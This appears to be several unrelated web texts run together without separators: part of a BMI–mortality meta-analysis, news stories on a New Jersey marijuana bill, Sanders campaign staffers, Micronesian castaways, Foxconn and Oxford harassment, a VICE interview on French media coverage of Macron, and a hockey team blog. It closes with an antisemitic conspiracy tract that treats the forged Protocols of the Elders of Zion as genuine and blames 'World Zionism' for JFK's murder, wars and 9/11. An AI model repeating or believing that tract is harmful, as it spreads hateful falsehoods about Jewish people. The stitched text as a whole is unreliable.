underweight never smokers, while in all participants the inverse association in the overweight range was reversed and in the direction of increased risk. Thus, the increased risk observed with a BMI of 20 in the analysis of all participants and never smokers and the lower risk in overweight people in the analysis of all participants is likely to be caused by confounding by smoking and prediagnostic weight loss.
We also found significant heterogeneity when we stratified studies by study quality scores in the analysis of all participants, with no significant association among studies with moderate scores compared with a stronger association in studies with higher scores in the linear dose-response analysis. In the non-linear dose-response analysis, the lowest risk was observed in the overweight range at a BMI of 27.5 in the studies with medium quality scores, while the lowest risk was observed at a BMI of 24-25 in the studies with the highest quality scores. This finding provides further support that issues related to the study quality could have contributed to the slight inverse association at the high end of the normal weight category and in the overweight category in the analysis of all participants. Finally, we also found significant heterogeneity when we stratified studies in never smokers by baseline age, with a much stronger association among people aged <65 than among those aged ≥65, and this is at least partly consistent with the data from the NCI Cohort Consortium.14
Results in context The results of our analysis of never smokers and healthy never smokers are in line with the results from the NCI Cohort Consortium, which reported hazard ratios of 1.09, 1.19, 1.44, 1.88, and 2.51 in the BMI ranges 25-27.4, 27.5-29.9, 30.0-34.9, 35.0-39.9, and 40-49.9 for women and 1.06, 1.21, 1.44, 2.06 and 2.93 for men in the respective BMI categories compared with 22.5-24.9,14 while we found summary relative risks of 1.11, 1.24, 1.42, 1.98 and 3.54 for BMI values of 27.5, 30, 32.5, 37.5, and 45 compared with a BMI of 23. The somewhat weaker association in the linear dose-response analysis in the current analysis (summary relative risk 1.18 (95% confidence interval 1.15 to 1.22) per 5 BMI units increase for never smokers, 1.21 (1.18 to 1.25) for healthy never smokers, and 1.27 (1.21 to 1.34) for healthy never smokers with exclusion of early follow-up) compared with the NCI Cohort Consortium (hazard ratio 1.31 (95% confidence interval 1.29 to 1.33) for healthy never smokers with exclusion of the first year of follow-up in the BMI range 25-49.9)14 and the Prospective Studies Collaboration (1.32 (1.28 to 1.36) for never smokers with exclusion of first five years of follow-up)2 might be because of differences in the number of studies and participants included but might also be because these pooled analyses had access to the original data from each study and restricted the linear dose-response analysis in two ranges, 15-25 and 25-50. In our linear dose-response analysis we used the reference category as reported in each publication, which meant the BMI range would go lower as most of the studies had midpoints for the reference category between BMI 20 and 22, the part of the curve where the dose-response relation was less steep.
Limitations of study Our meta-analysis has some limitations that need to be mentioned. As a meta-analysis of observational studies, confounding by unmeasured or imperfectly measured risk factors could have influenced the results. Smoking is a strong risk factor for premature mortality and several specific causes of death.116 117 A recent comprehensive analysis in the Million Women’s Study reported increased risk from 23 specific causes of death among current smokers compared with never smokers,116 while a pooled analysis of five American cohort studies with more than a million participants reported increased risk of 35 and 41 specific causes of death in men and women, respectively.117 At the same time smoking is associated with reduced body weight, leading to a lower BMI.118 240 The adverse effects of smoking are so strong that conventional multivariate adjustment is not sufficient to remove the confounding effects of smoking on the relation between BMI and several cancers (mouth, oesophagus, larynx, lung, and possibly pancreas, gallbladder, and liver)5 241 242 243 and several specific causes of death (most notably chronic obstructive pulmonary disease and pneumonia),12 244 and this is also likely to be the case for all cause mortality. Further in support of this argument is the observation that the conditions most strongly associated with smoking (cancers of the lung and upper aerodigestive tract and other respiratory diseases116 117) are also the conditions for which the BMI-disease association shows the largest difference in risk estimates when analyses are restricted to never smokers.8 241 243 Therefore it is necessary to restrict the analysis to never smokers to obtain valid results. The differences in the shape of the dose-response relation between BMI and mortality in smokers and never smokers as well as the stronger risk estimates among studies with adjustment for smoking (smoking status, cigarettes per day, time since quitting) we observed provide further support that smoking is a powerful confounder of the relation between adiposity and mortality. Though other confounding factors could have influenced the results, in the analysis of never smokers the results persisted among studies that adjusted for age, education, alcohol, physical activity, height, dietary pattern, and intake of fat and fruit and vegetables, although few studies adjusted for dietary factors, suggesting that at least these confounders do not explain the association between BMI and mortality. In addition, it is possible that the increased risk observed in the underweight BMI range could be attenuated by physical activity or a generally healthy lifestyle,14 159 but we were not able to investigate potential interactions between BMI and physical activity or dietary factors in relation to all cause mortality as few studies reported such results. Although BMI is an imperfect measure of body fatness as it does not distinguish between lean mass and fat mass, in most people it is highly correlated with measures of body fat245 246 and has been shown to be predictive of several chronic diseases.8 12 247 BMI might be a less reliable marker of adiposity in the elderly as the prevalence of chronic disease (and associated weight loss) increases with age and because of loss of muscle mass from the ageing process.248 This might explain the weaker association observed between BMI and mortality in older than in younger people. These findings are also consistent with the results of several previous studies,14 17 94 107 though because of higher death rates absolute risks are much greater in older people.249 A pooled analysis250 and a meta-analysis251 and the European Prospective Investigation into Cancer and Nutrition study20 reported linear increases in risk of mortality with greater waist circumference and waist to hip ratio, even among older people20 and within the normal BMI range,20 250 thus incorporating waist measures might have additional clinical relevance for risk assessment. The results were slightly stronger when we restricted the analysis to healthy never smokers (without prevalent disease at baseline), but the increased risk in the participants with a low BMI persisted in these analyses. Nevertheless, residual confounding is still possible as an explanation for the increased risk with a low BMI because most studies excluded only participants with prevalent cardiovascular disease and cancer, and only five of the 26 studies additionally excluded people with respiratory disease. In the NCI Cohort Consortium the effect of exclusion of participants with prevalent disease on the association between BMI and mortality was more pronounced in men and for heart disease rather than for cancer, stroke, or respiratory disease.14 Confounding by undiagnosed disease, however, is still a possibility as weight loss can precede the diagnosis of some neurological and respiratory diseases by as much as 10-15 years2 34 252 253 and because most of the studies excluded only the first one, two, or three years of follow-up. In a further subgroup analysis stratified by duration of follow-up we found that the increased risk among people with a BMI of 20 disappeared and in underweight people was substantially attenuated and the increased risk in overweight and obese people was strengthened among studies with ≥20 or ≥25 years of follow-up. This is in line with the results from the NCI Cohort Consortium, where the increased risk among people with a BMI between 18.5 and 19.9 disappeared and that of underweight people was greatly reduced in the subgroup with 15 or more years of follow-up,14 while the positive association with higher BMI was strengthened with a longer duration of follow-up. This suggests that weight loss from prediagnostic disease could explain the increased risk we observed in the low-normal weight and underweight BMI ranges. However, another potential explanation might be if people gained weight over time, as some underweight people might become normal weight and obese people become even more obese over the follow |
This is not about people who are suspected of terror offences. This is about people who community members have concerns about and need help.”TRENTON — New Jersey took a step toward decriminalizing marijuana possession today when an Assembly panel unanimously approved a bill that would allow offenders to pay fines instead of going to jail.
Under the terms of the measure, anyone arrested with fewer than 15 grams of marijuana — just under a half-ounce or slightly more than 30 joints — would be subject to a $150 fine for a first offense, a $200 fine a second time and a $500 penalty for a third and subsequent offenses.
Assemblyman Michael Patrick Carroll (R-Morris), a member of the Judiciary Committee and a prime sponsor of the legislation, said the imposition of fines rather than jail time reflects public opinion that criminal penalties for possession of marijuana are too harsh.
"Some acts harm society and they warrant the intervention of police, prosecutors and perhaps even incarceration," Carroll said. "Other acts warrant at best, a spanking, and these seems to be one of these situations."
The committee’s five Democrats and two Republicans approved the measure (A1465) and sent it to the full Assembly.
If the measure were to become law — hardly a given since it must meet the approval of both legislative chambers and Gov. Chris Christie — New Jersey would be the 15th state to reduce the charge of marijuana possession from a criminal to a civil offense. A spokesman for the governor, Kevin Roberts, said Christie would not comment on pending legislation.
Assemblyman Peter Barnes III (D-Middlesex), chairman of the Judiciary Committee, said he was optimistic about the bill’s chances because of it has bipartisan support and aligns with Christie’s proposal for mandatory drug treatment rather than jail for nonviolent drug offenders.
"This is a bill that once the governor and his staff take a look at it, is right in line with a lot of things he is trying to do," Barnes said.
He also noted a Rutgers-Eagleton poll last year found nearly 60 percent of the registered voters supported relaxing the laws for marijuana possession.
"The bill truly has broad-based support," Barnes said.
But Bruce Hummer of the New Jersey Prevention Network, an association of treatment professionals, said decriminalizing marijuana would "send a mixed message to our youth," who would be more likely to use the drug if they perceived it as less harmful and "accepted by the community."
Supporters, who far outweighed opponents at today’s hearing in Trenton, argued that suspects arrested for marijuana possession face long-lasting consequences that impair their ability to find work and a place to live.
The penalties ruin the lives of so many otherwise law-abiding citizens "who relax with a joint instead of a beer," said Rachel Cotrino, an attorney for the New Jersey chapter of the National Organization for the Reform of Marijuana Laws. "Let’s put together a framework of penalties that are reasonable, so that the punishment fits the crime."
Akil Roper, a vice president of Legal Services of New Jersey, said without enacting the law, racial injustice would persist when it came to drug arrests.
"In Essex County, 70 percent of the individuals arrested for marijuana possession are African American," Roper said, "but African-Americans only represent 40 percent of the county’s population."
Harry Camisa of Yardville, a retired state corrections officer, also urged the committee to support the bill and spare teenagers the "devastating effects" of prison.
"I always felt bad for the very young ones," Camis said, "because by the time they asked for protective custody they had already been beaten with a lock in a sock, stabbed or sodomized.
Related coverage:
• Decriminalize marijuana possession? N.J. Assembly committee to discuss it
• Bill to decriminalize small amount of marijuana gets N.J. Assembly committee hearingThe Culinary Workers union is one of the most powerful labor groups in Nevada and has yet to endorse a candidate in the Democratic primary. | AP Photo Sanders staffers posed as union members in Vegas
DES MOINES, Iowa — Campaign staffers for Sen. Bernie Sanders donned union pins to gain access to worker dining rooms in Las Vegas, the powerful Culinary Workers union said Thursday.
“We can confirm multiple reports of Bernie Sanders’ campaign staffers attempting and gaining access to employee dining rooms at Las Vegas Strip properties where over 57,000 members that we represent work,” said Geoconda Arguello-Kline, Culinary Workers Union Local 226 secretary-treasurer.
Story Continued Below
Sanders campaign manager Jeff Weaver confirmed the action and offered an apology.
"We have reminded our staff that that is not appropriate and that they should not do it again," Weaver said. "In addition, I have spoken with the political director of the Culinary Union to express the campaign’s regret at this having occurred and our support of the union’s fight for workers’ rights. The political director was extremely gracious and we are glad to have this resolved."
The journalist Jon Ralston reported Thursday that several Sanders campaign staffers wore Culinary Workers union pins to gain access to at least four hotels in Las Vegas.
The Culinary Workers union is one of the most powerful labor groups in Nevada and has yet to endorse a candidate in the Democratic primary.
The union backed Barack Obama over Clinton in the Democratic primary in an acrimonious battle still fresh in the mind of Nevada Democrats, and it remains a major source of voter mobilization in the state. The union plans to register 10,000 more of its union members to vote in the next six months, it has said.
The union made headlines this cycle when it protested outside of the Trump International Hotel before a Democratic debate in October, a rally which Clinton attended.A version of this article originally appeared on VICE France
In the run-up to the French presidential elections, French voters on social media have not been particularly kind about their mainstream media. Terms like "Merdias" (blending "media" with "merde", meaning shit) and "journalopes" (blending journalists with "salope", meaning slut or bitch) have become relatively common when the French discuss their press online. Why all the hate? It's become clear that in the period before the elections, French media granted centrist candidate Emmanuel Macron of the En Marche! movement significantly more airtime and cover-story profiles than other candidates.
So just before the second round of the presidential elections this Sunday – when either Macron or far-right candidate Marine Le Pen will be elected president – I wanted to talk about how the French press framed Macron with sociologist Alain Accardo. Accardo is a senior lecturer at Bordeaux 3 University, and his writings focus on journalism and the system in which the mainstream media operate.
Accardo argues that media organisations are part of the capitalist system and therefore have an interest in keeping that system in place. "Journalists working for those media are uniform middle-class types," he says, "and what they write about serves only the interests of their own social group." Accardo doesn't think journalists are puppets to wealthy shareholders, nor does he think they're plotting to spread misinformation or fake news. But that they all share the same background, have the same perspective and profit from the status quo in the same way. He argues that that's illustrated in the way the French press uniformly reported on "the phenomenon of Macron". I met with him to better understand his views.
VICE: During the campaign, Emmanuel Macron was widely covered by the French press. Do you think the media are responsible for the fact that Macron was virtually unknown three years ago and is now a presidential candidate?
Alain Accardo: Yes, I think they've played a decisive role in establishing Macron as a credible candidate, the one who could "bring people together beyond the traditional party divide", as you'd read a lot. His own ambition led him on that path. Since he's relatively new to the field of professional politics, he didn't have the same political capital as his competitors. But instead of working his way further up the traditional central left or right party ladder, he took a risk and entered the competition as an independent competitor, with the En Marche! movement. That gave him an air of being fresh, being "neither right nor left" – which, truthfully, isn't all that revolutionary in the modern French political climate. But the narrative stands.
In the past, an independent candidate would quickly be wiped out by more experienced and better-known candidates from the traditional ruling parties – the conservatives and the socialists. But that's not what happened with Macron – he benefited from the fact that the candidates of Les Républicains [François Fillon] and the Parti Socialiste [Benoît Hamon] were deeply unpopular. [Fillon came under investigation for hiring his wife as a parliamentary assistant – an allegedly "fake job" for which she was paid an exorbitant amount of money. Meanwhile, the Socialist Party grew increasingly unpopular due to current president François Hollande's policies and his inability to tackle terrorism]. Because his opponent in the second round, Marine Le Pen, is from the extreme right, Macron suddenly seemed a perfect candidate for liberal and conservative forces to "save" the Republic from the National Front's extremist-populist threat.
So with that in mind, all that remained then was for the press to write up that message and rally the crowds for the arrival of France's saviour, Emmanuel Macron.
If the media made him, isn't it weird he made it to the second round – given people's general distrust of the press these days?
I don't think that distrust is deep enough yet. Virtually all major titles in print media, major TV-channels and radio stations are part of larger media groups with capitalist interests. Those companies produce information for the market and at the same time, produce a market for information. They're like any other company that makes cars, perfume or barbecues. A company produces your desire for a barbecue, and then produces the barbecue you desire. If the press is part of that capitalist system, their underlying mission is to keep that system in place.
"Journalists reduce reporting on politics to reporting on political personalities."
But the media has to appear to respect the values on which our Republic and our Constitution are based – democracy and secularism. That's why they'll appear to give way to diverse voices – a far-left candidate like Jean-Luc Mélenchon will get the floor, but in the media narrative he'll be associated with extreme left-wing leaders – like Hugo Chavez, for example. Anti-capitalist candidate Philippe Poutou will be interviewed, but will always be presented as a minor candidate without vision. More traditional candidates who don't threaten the capitalist structure are presented positive or neutrally, without devaluing connotations. Individually, each of those comments or connotations might seem small or irrelevant, but the fact that it's repeated so often in all media creates that narrative around a candidate or their ideas.
Even if that's how media companies work – how do individual journalists contribute to that?
Journalistic titles hire journalists whose social background – socially, culturally, educationally and morally – fits perfectly with what the current capitalist order asks for. People working in media are mostly middle-class types with the same interests, favouring consumerism, hedonism, libertarian individualism and unconditional Europeanism from Brussels. And they're all subject to this form of political illiteracy – they reduce reporting on politics to reporting on political personalities. The journalists and pollsters in the press turn political life into a theatrical stage, where personalities just endlessly talk and debate. All that talk drowns out any serious criticism of the system.
The French people have been indoctrinated that way for decades – we've had more than 30 years of a certain consensus between the centrist powers of the conservative right of Les Républicains and a right that's disguised as socialism by the Parti Socialiste. It's hard to wake up from that, but I think the country is starting to take note. I think the mainstream media and the journalists working in them are now seeing that, and want to save the system they're working in. So it's a natural step for them to promote all candidates who don't really threaten the capitalist order.
Emmanuel Macron was often called the "modern" choice among the candidates in the first round, and in the second round again, now that he's pitted against Marine Le Pen. What do you think of that characterisation?
Like I said, Macron happened to be in the right place at the right time, while candidates of the traditional parties were failing. Someone needed to fill that void, and along came Macron, a young and ambitious supposed outsider, who's still completely and safely part of the system – having gone to the right school and having worked at a bank. The marketing campaign around him gave him the fashionable air of being neither left nor right. There's nothing modern in that – it's just well-tried logic of a well-organised system. It's naive to think that if Macron hadn't been there and then, the establishment would have been pushed aside and lost power. There are hundreds of potential candidates like Macron, formed in our schools and political organisations, ready to take over if necessary – each with a slightly different flavour.
Before the presidential election, the two main parties in France – the conservative Républicains and the centrist-left Parti Socialiste – had primaries to elect their candidates, following the American model. What does that mean for French politics?
Well, it's a further indication that France is politically becoming what it already is culturally – a colony of the United States. Pretty soon, only their spoken language will distinguish a European population from the American population.
The idea of having primaries fits into the political system of the United States, which is characterised by bipartisanship. It seems less appropriate in countries like France, where voters can choose between different political ideologies, and social criticism and political opposition are more radical. Far-left political figures we have in France, like Olivier Besancenot and Philippe Poutou of the New Anticapitalist Party, or even militant socialist Jean-Luc Mélenchon, probably wouldn't have very long political careers in the United States.
The translation of this interview was edited and condensed for clarity.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 8, 2016, 11:18 AM GMT / Updated April 8, 2016, 11:27 AM GMT By Ian Wood
Three mariners were rescued from an uninhabited Pacific island after a U.S Navy aircraft spotted the word "help" spelled using palm fronds on a sandy beach.
What was supposed to be a short trip between two Micronesian islands quickly turned into a "Gilligan’s Island"-style ordeal — but their “3-hour tour” turned into 3 days.
Lost in the middle of the Pacific Ocean, the men appeared to take inspiration from the Tom Hanks film "Castaway" before being found.
“They had the word 'help' spelled out and were waving their lifejackets,” U.S. Coast Guard Petty Officer First Class Michael McCandless told NBC News.
Two of three men stranded on the uninhabited island of Fanadik in the Federated States of Micronesia wave life jackets as a U.S. Navy P-8A Poseidon aircraft from Patrol Squadron (VP) 5, assisting U.S. Coast Guard Hawaii Pacific, discovers them on Thursday. U.S. Pacific Fleet
The trio were trying to make a late-morning flight on the island of Chuuk after setting out in a 19-foot skiff early Monday.
“When they did not arrive for the flight, Coast Guard was notified,” McCandless said. “We began coordination efforts, using a combination of assets. It was determined a Navy P-8 aircraft out of Japan would assist.”
The Coast Guard's Guam-based 14th District covers 12.2-million square miles of land and sea including Micronesia.
Four ships in the area were directed to where the skiff was last believed to be. They provided assistance with their radar and lookout until the U.S. Navy P-8 aircraft from Misawa Air Base arrived on scene.
A map showing the island of Chuuk, which is part of the Federated States of Micronesia. Google Maps
“We gave [the aircraft] a starting and ending point, given an intended track of the missing vessel,” McCandless added.
The men were located just before sunset on Thursday and transported by boat to a neighboring island.
Their names had yet to be released by the Micronesian authorities early Friday.TAIPEI (Reuters) - Foxconn (2317.TW), the world’s largest contract electronics maker and a major Apple Inc (AAPL.O) supplier, plans to invest more than $10 billion in a display-making factory in the United States and will decide on the location of the plant next month.
The Taiwan-based firm has been eyeing U.S. investments for some time and its CEO, Terry Gou, had previously said the company hoped to spend over $7 billion to set up a display-making plant in the country - which has no panel-making industry but is the No.2 market for televisions.
Foxconn, formally known as Hon Hai Precision Industry Co, is currently considering Wisconsin, Ohio, Michigan, Pennsylvania and North Carolina as possible locations, Gou told reporters after the company’s annual shareholders meeting on Thursday.
“In July we will make a conclusion,” Gou said, adding the company would invest the money over five years.
Foxconn operates vast factories in China, where it employs a million people and makes most of Apple’s iPhones, but so far it has not invested heavily in manufacturing in the United States.
“This time we go to America, it’s not just to build a factory, but to move our entire supply chain there,” Gou told shareholders, without providing specific details.
While the plant would create jobs, Gou added it would not employ as many people as in its China plants, as the cost of labor is higher and the plant would rely on automation.
“In the U.S., the state governors’ sincerity and confidence to attract investment... is beyond my imagination,” Gou said.
President Donald Trump has called for firms to build more products in the United States. He has made several announcements since his election in November about U.S. investments by both foreign and domestic manufacturers, building on his campaign focus on preserving and creating American jobs.
Slideshow (6 Images)
According to Tai Jeng-wu, CEO of Foxconn’s Japanese unit Sharp Corp (6753.T), six U.S. states were being looked at for a possible location for the display-making plant.
Foxconn already has operations in Pennsylvania.
Gou said that an agreement announced four years ago to invest in Harrisburg, Pennsylvania, was still pending.LONDON: One of Oxford University's best known colleges has spoken out against a worrying trend - the increasing culture of groping and sexual harassment among students.Incidents of groping at social events, loud jokes in public places about rape and homophobic remarks in student meetings have been reported in the 136-year-old Somerville College - one of the two first colleges to offer an Oxford education to women.Principal of the college Dr Alice Prochaska has written to the students encouraging them to speak out against an increase in sexist " laddism " or outright intimidation.She said "There were worrying signs that the infection might be spreading here. None of our students wanted to point the finger at their friends but it was clear that for some, the climate in the college was becoming uncomfortable"."Now that our students include about 50% men, our ethos of inclusion and excellence remains as strong as ever. And yet we had to face the unthinkable: that unacceptable and threatening activities could happen not just in a wider world, but here too," Dr Prochaska added.The president of the undergraduate students union at the college is a Delhi girl Shyamli Badgaiyan In an exclusive interview to TOI, she decided to open up about this worrying trend in one of the world's most coveted campuses.Badgaiyan whose family lives in Gulmohar Park told TOI "There is an increasing culture of groping, intimidation and sexual harassment and we want to raise awareness about it. We are asking victims to speak out. It all boils down to education. Students need to be taught that some sexist jokes or comments can have serious repercussions. Our college preaches diversity and inclusiveness".Badgaiyan who wants to become a politician in India and is presently in her second year studying philosophy, politics and economics said that alcohol sometimes trigger a student to "cross the line" but the root of the problem is lack of understanding of "how to interact with the opposite sex or sometimes even in the same sex"."It's not a gender issue. Students sometimes need to be educated how a boy should behave with a girl or how a boy should behave with another boy".Badgaiyan said the college holds consent workshops at the beginning of a new term and one took place last month which told students what lines not to cross."These incidents of groping and sexual harassment shocked many of us. In our emergency meeting, where we not only formally condemned the recent acts but also donated to the Oxford Sexual Abuse and Rape Crisis Centre around 200 pounds as a gesture of support," Badgaiyan said.According to Dr Prochaska, abuse has many allies, but silence and fear rank high among them. "Our student body acted quickly. An emergency meeting last weekend passed a resolution by an overwhelming majority to complement the efforts of the college deans with a strongly worded call to action of their own. They condemned the recent increase in aggressive behaviour in the college. If there is a deep-rooted problem of sexism and disrespect nationwide, it is important for those who witness it in their own institution or workplace to speak out".Some of the players have changed, but team sentiment has not.
The Canucks arrived in Ottawa late Tuesday night and instead of taking Wednesday morning to recuperate following a 5-3 win in Columbus, the team attended the National Remembrance Day Ceremony at the National War Memorial.
Poppies on their jackets with heads held high, the players were among the 35,000 people who paused and honoured Canadians who died fighting for their country.
The team last attended the ceremony in 2010, while also in town to later face the Senators. Alex Burrows was there then and again on this day; he said there was no question the team would partake to show its respects.
“Sometimes the schedule just works out in our favour and we’re able to attend,” said Burrows, following a two-hour ceremony that included prayers, a 21-gun salute and a veteran parade, and was also taken in by Prime Minister Justin Trudeau.
“It’s an honour to be able to show our respects for the men and women who keep Canada strong and free. It’s the right thing to do and whenever we’re able to be here, we will be.”
The mood was somber, the air cool as the Canucks sang O Canada, God Save the Queen and observed two minutes of silence, which ended with two Canadian Forces jets screaming by overhead.
The team practiced at the Canadian Tire Centre Wednesday afternoon, with one noticeable change in the dressing room pre-practice. In place of the usual jovial chitchat, the guys were discussing the ceremony.
Adam Cracknell, for one, was quite moved by the experience.
“It was a very special, very emotional ceremony for me and my family; my dad was happy I could attend and honour my grandfathers,” said Cracknell.
Alan Cracknell, his dad’s father, was a gunnery captain who served from 1939 to the end of the Second World War, while Henry Tien, his mom’s father, served in the military police. Both fulfilled their duties and later passed away from old age.
“It’s not just my grandfathers, if a lot of those people don’t fight for us, we might not be here right now enjoying the freedoms we do. Today was an unforgettable experience being able to say thank you for what’s been done and their continued efforts.”
*****
I personally don’t have any connection to the wars, my grandfathers didn’t fight and I’ve never even known anyone who has. Still, this ceremony was moving and gave me a deeper appreciation for those who have helped make Canada what it is. Thank you for everything you do.
On a side note: while walking back to the team hotel, we got to see “the boss.”
“He’s in that SUV right there,” pointed Jacob Markstrom.
“Who is?”
“The boss!”
“Who’s the boss – and if you say Tony Danza…”
“C’mon man, Trudeau, the boss!”
It was and it was boss.
Cheers from Ottawa!
Derek (@NoJoryous)
Facebook CommentsOn Memorial Day, let US remember John F. Kennedy, the last "American" president. Like Rachel Corrie he was martyred by World Zionism. "WE SHALL WIPE OUT ALL THOSE WHO HINDER US" (Protocol #3). In his few years, he seemed to recognize and do battle against this evil political system described in the Protocols of the Elders of Zion.
In 1961 Benjamin Freedman, a loyal American, warned that even then "Zionists ruled the United States like monarchs". (Note, Mr. Freedman said "Zionists" not "Jews".) He was personally acquainted with John F. Kennedy who appeared to be the first of a political family dynasty. JFK's policies could change history. JFK instituted measures that would cripple World Zionism and its global cycle of war, financial crises, militarism, inflation, depressions, and usurious debt, all outlined in the Protocols.
Zionist apologists dispute the authenticity of this Devil's Black Bible but that is irrelevant. What is relevant is that World Zionism has been following them word for word for more than a century in its secret scheming for world rule. According to the Protocols, "THE GOYIM ARE A FLOCK OF SHEEP AND WE ARE THEIR WOLVES (#11). IT IS INDISPENSABLE TO UTTERLY EXHAUST HUMANITY WITH DISSENTION, HATRED, STRUGGLE, ENVY, TORTURE, STARVATION, INNOCULATIONS AGAINST DISEASES, WANT" (#10). Like a cancer on humanity, World Zionism has been undetected for many years and now emerges when it is in its deadly final stages. "OUR POWER WILL REMAIN INVISIBLE UNTIL IT HAS GAINED SUCH STRENGTH NO CUNNING CAN UNDERMINE IT (#1). WHO WILL SUSPECT THAT ALL THESE PEOPLE WERE STAGE MANAGED BY US ACCORDING TO POLITICAL PLANS WHICH NO ONE HAS SO MUCH AS GUESSED AT FOR ALL THESE YEARS (#13). WE ARE INVINCIBLE" (#3).
First, JFK ordered the Vietnam War stopped and the troops brought home. Vietnam was the latest Oil War. Who owns World Oil? The Rothschilds. They "own" Yukos Oil in Russia and "own" the Rockefellers in America. Do they also "own" the Saudis? "WE MUST RESPOND TO EVERY ACT BY WAR ON THAT COUNTRY THAT DARES TO OPPOSE US. CHECKING THE OPPOSITION OF THE GOYIM BY UNIVERSAL WAR (#7). THE ASSISTANCE WE GIVE [money] WILL PUT BOTH SIDES AT OUR MERCY" (#2). War fills the graveyards of humanity but war debt fills the cash accounts of World Zionism.
Second, JFK was going to wind down the Arms Race and seek world peace. The trillions spent for "Defense" was never for the defense of America but for an arsenal to enable World Zionism to impose its Capitalism on the rest of the world. "WE SHALL SET UP A SUPER GOVERNMENT THAT SHALL SUBDUE ALL THE NATIONS OF THE WORLD (#5). INTENSIFICATION OF ARMAMENTS ARE ESSENTIAL FOR OUR PLANS. WE SHALL SHOW OUR STRENGTH TO ALL WITH THE GUNS OF AMERICA" (#7). In addition, the vast debt of the Arms Race paid billions in interest every year to World Zionism. This debt has bankrupt America. "LOANS BURDENED THE STATE WITH THE PAYMENT OF INTEREST. ALL THE WEALTH OF THE STATE FLOWED INTO OUR CASHBOXES. TO THIS WE OWE OUR MASTERY OVER THE GOYIM" (#20).
Third, JFK ordered the Treasury to print US currency instead of the Rothschild Federal Reserve Notes supported by the Rothschild illegal income tax. The US bonds, held by the Fed for our Fed currency, pay many billions in interest annually to World Zionism. With a "stroke of the pen" JFK would cost them trillions as well as their domination of global money and finances through debt and speculation. "LOANS HANG LIKE A SWORD OF DAMOCLES OVER THE HEADS OF RULERS. COUNTRIES ARE DEBTORS TO OUR TREASURIES TO AMOUNTS QUITE IMPOSSIBLE TO PAY. STATES ARE DRAINED AND THE GOYIM PAY US THE TRIBUTE OF SUBJECTS" (#20).
Fourth, JFK intruded on the wage price spiral in the steel industry in favor of labor. The corporate stock of US Steel plummeted, a bad omen for Capitalism. "THE DESPOTISM OF CAPITAL IS ENTIRELY IN OUR HANDS (#1). HUNGER CREATES THE RIGHT OF CAPITAL TO RULE THE WORKER MONEYGRINDING SCOUND-RELS HAVE LAID A PITILESS AND CRUEL YOKE UPON THE NECKS OF THE WORKERS (#3). CONCENTRATION OF INDUSTRY IN THE HANDS OF CAPITALISTS HAS DRAINED AWAY ALL THE JUICES OF THE PEOPLE (#20). CAPITAL MUST BE FREE TO ESTABLISH A MONOPOLY OF INDUSTRY AND TRADE; THIS WILL HELP OPPRESS THE PEOPLE (#5). WE SHALL RAISE WAGES WHICH SHALL NOT BRING ADVANTAGE TO THE WORKERS FOR WE SHALL RAISE PRICES FOR THE NECESSARIES OF LIFE" (#6).
Fifth, JFK would not give nuclear weapons to Israel. Jews invented these inhuman weapons in America and Israel could not have them for its global terrorism. This was unacceptable! Ben Gurion resigned. "IT IS INDISPENSABLE FOR US TO ARM OURSELVES (#10). WE MUST ARM OURSELVES WITH ALL THE WEAPONS OUR OPPONENTS MIGHT EMPLOY AGAINST US" (#8).
Sixth, JFK was going to dismantle the Central Intelligence Agency. The CIA with Mossad are essential for World Zionism's global terrorism. "OUR INTERNATIONAL AGENTUR POSSESSES MILLIONS OF EYES EVER ON THE WATCH AND UNHAMPERED BY ANY LIMITATIONS WHATSOEVER (#2). THE FRENCH REVOLUTION WAS WHOLLY THE WORK OF OUR HANDS" (#3). Dreyfus, too.
Seventh, JFK stood in the way of a Zionist puppet in the White House, Lyndon Johnson, who gave up a most powerful position for an office described as "not worth a bucket of pee pee" and as the "gofer" of a man he detested. This decision only made sense three years later. "WE HAVE REPLACED THE RULER BY A CARICATURE, A PRESIDENT. WE SHALL ARRANGE ELECTIONS OF SUCH PRESIDENTS WHO HAVE AN UNDISCOVERED STAIN IN THEIR PAST, THEY WILL BE AGENTS FOR OUR PLANS" (#10).
After JFK, the White House surrendered America to World Zionism. Johnson cancelled all of JFK's anti-Zionist measures, the Arms Race resumed, the Vietnam War was escalated, war debt and interest skyrocketed, nuclear weaponry given to Israel, Henry Jackson in the Senate made Zionist policy Washington policy, the crew of the USS Liberty was murdered by Israel without a murmur, Treasury currency was withdrawn and interest payments to World Zionism increased, and the "flyspeck in the desert" soared from protectorate to partner to patriarch of Washington. A few years later, Zionism cost the American people their standard of living by the oil embargo for Washington's subservience to World Zionism. On Memorial Day, let US remember that Washington's War Memorial for millions of veterans was an afterthought to a Museum for a Zionist Myth. The veterans were really "serving" World Zionism.
Recent books have linked such diverse parties as Lyndon Johnson, George Bush and Nelson Rockefeller as well as Mossad, CIA and Mafia in the murder of JFK. The common denominator is World Zionism. There are connections. Who else could join them in a single enterprise? The Warren Commission was suggested by a Zionist, conducted by a Zionist, and its finding validated and promulgated by Zionists and the Zionist press. It was a Zionist hoax like September 11. "THE GOY LOOK UPON THE EVENTS OF THE WORLD THROUGH THE COLORED GLASSES WE ARE SETTING ASTRIDE THEIR NOSES (#12). WE ARRANGED FOR DARWINISM, MARXISM AND NIETZSCHEISM" (#2).
We must distinguish between Zionism and Judaism. The accusation of anti-Semitism is political terrorism originating in the Protocols. "ANTI-SEMITISM IS INDISPENSIBLE TO US (#9). UNTIL THERE SHALL NO LONGER BE ANY RISK IN ENTRUSTING OUR BROTHER JEWS WE SHALL PUT RESPONSIBLE POSITIONS IN PERSONS WHO FACE CRIMINAL CHARGES" (#8). America's Congress is fervently Zionist yet most of them profess other religions. No, Zionism is politics; its "religion" is Greed. "IT IS INDISPENSABLE TO UNDERMINE ALL FAITH, TO TEAR OUT THE SPIRIT OF GODHEAD AND PUT IN ITS PLACE MATERIAL NEEDS" (#4). Zionism conceals itself in the "shade" of Judaism in order to remain "invisible". "OUR PLAN OF ACTION REMAINS FOR ALL PEOPLE AN UNKNOWN MYSTERY" (#4). It operates through governments like England, Israel and Washington and global corporations, financial and banking conglomerates, international financiers, and secretly interlinked organizations, institutions, "philanthropies", foundations, fronts, and factions with enormous amounts of money at their disposal. But "ALL OF THE ENDS OF THE SPRINGS WHICH MOVE THEM" (#9) lay in the hands of an invisible Rothschild Family. "THE GOYIM WILL ACCEPT US AS THE BENEFACTORS OF THE HUMAN RACE (#7). THERE IS NO EVADING OUR POWER" (#5). Zionism, by its monopolies, frauds, gouging, usury, speculation, bankruptcies and tax evasion, is amassing the wealth of the whole world "WE WANT TO TRANSFER INTO OUR HANDS ALL THE MONEY OF THE WORLD (#6). 